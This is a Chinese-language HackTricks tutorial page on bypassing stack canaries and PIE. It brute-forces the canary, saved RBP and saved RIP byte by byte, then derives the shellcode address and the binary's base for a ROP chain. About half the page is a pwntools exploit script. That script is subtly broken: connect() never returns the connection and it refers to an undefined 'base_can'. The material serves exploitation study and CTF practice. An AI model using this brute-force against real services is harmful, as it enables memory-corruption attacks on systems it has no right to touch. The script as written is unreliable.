BF Addresses in the Stack

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

如果您面对一个由 canary 和 PIE(位置无关可执行文件)保护的二进制文件,您可能需要找到一种绕过它们的方法。

请注意,如果二进制文件是静态编译的且无法识别函数,则 checksec 可能无法发现二进制文件受到 canary 保护。 但是,如果您发现在函数调用开始时将一个值保存在堆栈中,并且在退出之前检查了该值,则可以手动注意到这一点。

暴力破解地址

为了绕过 PIE,您需要泄漏一些地址。如果二进制文件没有泄漏任何地址,最好的方法是在易受攻击的函数中暴力破解堆栈中保存的 RBP 和 RIP。 例如,如果一个二进制文件同时使用canaryPIE进行保护,您可以开始暴力破解 canary,然后接下来的 8 字节(x64)将是保存的RBP,接下来的 8 字节将是保存的RIP

假定堆栈中的返回地址属于主二进制代码,如果漏洞位于二进制代码中,通常情况下是这样的。

要从二进制文件中暴力破解 RBP 和 RIP,您可以发现,如果程序输出了某些内容或者没有崩溃,那么猜测的字节是正确的。可以使用与用于暴力破解 canary 相同的函数来暴力破解 RBP 和 RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

最后你需要战胜PIE的是计算从泄漏的地址中得到的有用地址:RBP和RIP。

通过RBP,你可以计算你的shell写在栈中的位置。这对于知道你将在栈内哪里写入字符串"/bin/sh\x00"非常有用。要计算泄漏的RBP和你的shellcode之间的距离,你可以在泄漏RBP后设置一个断点,检查你的shellcode位于哪里,然后计算shellcode和RBP之间的距离:

INI_SHELLCODE = RBP - 1152

RIP中,您可以计算PIE二进制文件的基地址,这是您需要创建有效的ROP链所需的内容。 要计算基地址,只需执行objdump -d vunbinary并检查最新的反汇编地址:

在该示例中,您可以看到只需要1字节半就可以定位所有代码,因此,在这种情况下,基地址将是泄漏的RIP,但以"000"结尾。例如,如果泄漏了0x562002970ecf,则基地址为0x562002970000

elf.address = RIP - (RIP & 0xfff)

改进

根据这篇帖子的一些观察,当泄漏RBP和RIP值时,服务器不会因为一些不正确的值而崩溃,而BF脚本会认为它获得了正确的值。这是因为即使不是完全正确的地址,有些地址也不会导致崩溃

根据该博客文章,建议在请求之间向服务器添加短暂延迟。

最后更新于